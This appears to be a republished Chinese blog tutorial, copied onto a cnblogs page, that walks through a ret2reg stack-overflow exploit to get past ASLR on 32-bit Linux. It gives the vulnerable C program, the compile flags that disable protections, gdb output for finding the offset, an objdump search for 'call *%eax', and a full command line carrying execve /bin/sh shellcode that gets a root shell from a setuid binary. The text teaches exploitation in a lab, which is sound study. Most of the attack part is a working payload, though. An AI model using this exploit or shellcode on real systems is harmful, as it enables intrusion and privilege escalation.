zoukankan      html  css  js  c++  java
  • 使用ret2reg攻击绕过地址混淆

    [转载,原文:http://blog.csdn.net/linyt/article/details/43612409]

    (根据自己测试遇到的问题,修改了下测试程序)

    前面介绍的攻击方法,EIP注入的地址必须是一个确定地址,否则无法攻击成功,为了与本文介绍的攻击方法形成比对,我将前面的方法称为ret2addr(return-to-address,返回到确定地址执行的攻击方法)。


    安全人员为保护免受ret2addr攻击,想到了一个办法,那就是地址混淆技术。该述语英文称为 Address Space LayoutRandomization,直译为地址随机化。该技术将栈,堆和动态库空间全部随机化。在32位系统上,随机量在64M范围;而在64位系统,它的随机量在2G范围,因此原来的ret2addr技术无法攻击成功。(简单来说,就是程序每次执行时,其地址都不一样


    很快攻击者想到另一种攻击方法ret2reg,即return-to-register,返回到寄存地址执行 的攻击方法。

    它的原理很简单

    1) 分析和调试汇编,看溢出函返回时哪个寄存值指向溢出缓冲区空间

    2)然后反编译二进制,查找call reg 或者jmp reg指令,将该指令所在的地址注入到 EIP

    3)再在reg指向的空间上注入Shellcode


    此攻击方法之所以能成功,是因为函数内部实现时,溢出的缓冲区地址通常会加载到某个寄存器上,在后在的运行过程中不会修改。尽管栈空间具有随机性,但该寄存器的值与缓冲区地址的关系是确定的,在随机地址之上,建立了必然的地址关系。一句话就是 在随机性上找到地址的确定性关系。


    攻击准备

    打开Linux的地址混淆功能:

    echo 2 > /proc/sys/kernel/randomize_va_space

     

    漏洞程序

    编写如下的程序,源文件命名为stack2.c

     1 #include <stdio.h>
     2 #include <string.h>
     3 
     4 void f(char *input)
     5 {
     6     char buffer[512];
     7     strcpy(buffer, input);
     8 }
     9 
    10 void f2(char *input)
    11 {
    12     f(input);
    13 }
    14 int main(int argc, char **argv)
    15 {
    16     f2(argv[1]);    
    17     return 0;
    18 } 


    编译命令如下:

     

    $ gcc -Wall -g -o stack2 stack2.c -z execstack -m32 -fno-stack-protector


    对准EIP

    还是老方法,第一步首先是对准EIP,由于buffer变量的大小是512字节,那我们的填充内容 512个A和BBBB开始,每次增加4个A,直到将BBBB注入到EIP。下面成功将BBBB注入EIP的结果:

     

     

    $ ./stack2 $(perl -e 'printf "A"x524 . "BBBB"')

     

    $ gdb ./stack2 core -q

    Reading symbols from /home/ivan/exploit/stack2...done.

    [New LWP 3979]


    warning: Can't read pathname for load map: Input/output error.

    Core was generated by `./stack2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.

    Program terminated with signal 11, Segmentation fault.

    #0  0x42424242 in ?? ()

    (gdb) info registers 

    eax            0xfff94ed0 -438576

    ecx            0xfff96500 -432896

    edx            0xfff950d8 -438056

    ebx            0xf7758ff4 -143290380

    esp            0xfff950e0 0xfff950e0

    ebp           0x41414141 0x41414141

    esi             0x0 0

    edi            0x0 0

    eip            0x424242420x42424242

    eflags       0x10202 [ IF RF ]

    cs              0x23 35

    ss              0x2b 43

    ds             0x2b 43

    es             0x2b 43

    fs              0x00

    gs             0x6399


    确定哪个寄存器与缓冲区有确定性的关系

    如果你一步一步地按ret2addr攻击方法操作并攻击成功,那么你会发现此时的esp就是指向注入EIP的下一个地址。如果你能在程序中找到call esp或者jmp esp这样的指令,就可以将EIP注入该指令地址,并且在EIP后面注入shellcode,那就彻底绕过地址混淆保护方法。

     

    可惜的是,整个程序都找到这样的指令。OK,那我们退而求其次……

     

    认真观察一下f函数的反编译:

     1 (gdb) disassemble f
     2 Dump of assembler code for function f:
     3    0x0804840b <+0>:    push   %ebp
     4    0x0804840c <+1>:    mov    %esp,%ebp
     5    0x0804840e <+3>:    sub    $0x208,%esp
     6    0x08048414 <+9>:    sub    $0x8,%esp
     7    0x08048417 <+12>:    pushl  0x8(%ebp)
     8    0x0804841a <+15>:    lea    -0x208(%ebp),%eax
     9    0x08048420 <+21>:    push   %eax
    10    0x08048421 <+22>:    call   0x80482e0 <strcpy@plt>
    11    0x08048426 <+27>:    add    $0x10,%esp
    12    0x08048429 <+30>:    nop
    13    0x0804842a <+31>:    leave  
    14    0x0804842b <+32>:    ret    
    15 End of assembler dump.

    发现调用strcpy函数前,eax指向buffer地址;但是eax属于caller-save寄存器,strcpy函数是否会将它改掉呢?我们就以对准EIP生成的core文件,分析一下strcpy函数中是否更改了eax:

     生成core是,eax 值为0xfff94ed0,使用x命令查看它是否指向一块内容为AAAA的内存:

     

    (gdb) x/40xw 0xfff94ed0 - 0x10

    0xfff94ec0:0xfff94ed00xfff962f80xf779353c0x00000020

    0xfff94ed0:0x414141410x414141410x414141410x41414141

    0xfff94ee0:0x414141410x414141410x414141410x41414141

    0xfff94ef0:0x414141410x414141410x414141410x41414141

    0xfff94f00:0x414141410x414141410x414141410x41414141

    0xfff94f10:0x414141410x414141410x414141410x41414141

    0xfff94f20:0x414141410x414141410x414141410x41414141

    0xfff94f30:0x414141410x414141410x414141410x41414141

    0xfff94f40:0x414141410x414141410x414141410x41414141

    0xfff94f50:0x414141410x414141410x414141410x41414141


    果然eax就是buffer缓冲区的地址。


    查找call eax/jmp eax指令

    前文提到,已将地址混淆地址打开,就算找到call eax/jmp eax指令的地址也是随机的,每次运行不确定,造成攻击不成功。

     

    前文提到使用 echo 2 > /proc/sys/kernel/randomize_va_space 命令将地址混淆技术启用,但该技术对栈空间,堆地址和动态库加载空间都进行了混淆,唯独没有对程序做地址混淆。

     

    事实上Linux gcc编译器提供了-fPIE选项,但用它来编译,可使程序空间做地址混淆,造成整个进程地址混淆。但一般的开源软件和商用Linux发行商的服务进程并没有使用-fPIE进行安全增加,还是留下了可利用空间。注意到, stack2在编译时没有使用-fPIE选项。

     

    使用objdump和grep命令查看是否有与eax/esp相关的转跳指令:

     

    $ objdump -d stack2 | grep *%eax

     80483df: ff d0                call   *%eax

     80484cb: ff d0                call   *%eax

    $ objdump -d stack2 | grep *%esp


    找到两条  call *%eax指令。


    好,就利用0x80483df地址上的call *%eax指令,将xdfx83x04x08注入到EIP,让函数返回时,执行call *%eax,跳到缓冲区的开始地址去执行;接着我们小心翼翼地址将shellcode放到buffer开始地址即可。


    因此注入内容格式如下:


    ShellCode(N) + A(524-N) + xdfx83x04x08


    攻击测试

    在如何编写shellcode中介绍了打开sh的shellcode,就使用这个shellcode进行测试。该shellcode内容:

    x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x52x53x89xe1x31xc0xb0x0bxcdx80


    长度为25个字节,即上述注入内容格式中的N为25:


    x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x52x53x89xe1x31xc0xb0x0bxcdx80 + Ax499 + xdfx83x04x08


    为了更方法验证攻击功,我们将stack2的owner设置为root,并带S位,让普通用户也能执行。 

    $ sudo chown root:root ./stack2

    $ sudo chmod a+s ./stack2


    最后时刻:


    $ ./stack2 $(perl -e 'printf "x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x52x53x89xe1x31xc0xb0x0bxcdx80" . "A"x499 ."xdfx83x04x08"')

    # whoami

    root

    击攻成功,打开新sh,从普通用户权限提升成root.

     

     小结:

    其实ret2reg方法,并不是总能攻击成功了,如果程序strcpy或者后面的代码复用了eax寄存,那eax跟buffer就没有关毛钱关系,无法建立确定性。

     

    ret2reg方法核心是:找到寄存器与缓冲区地址的确定性关系,然后从程序中搜索call reg/jmp reg这样的指令;如果两者条件满足,则存利用空间

     

     

    原始博客:http://blog.csdn.net/linyt/article/details/43612409 

  • 相关阅读:
    LINUX下用PHPIZE安装PHP GD扩展
    LNMP下使用Phabricator(一)
    关于学习
    PHP EXCEL相关
    curl_setopt 注意
    JS代码运行延迟
    ajax跨域
    Bootstrap-下拉菜单
    Bootstrap-基本的按钮组
    Bootstrap-基本的输入框组
  • 原文地址:https://www.cnblogs.com/qwertwwwe/p/5748343.html
Copyright © 2011-2022 走看看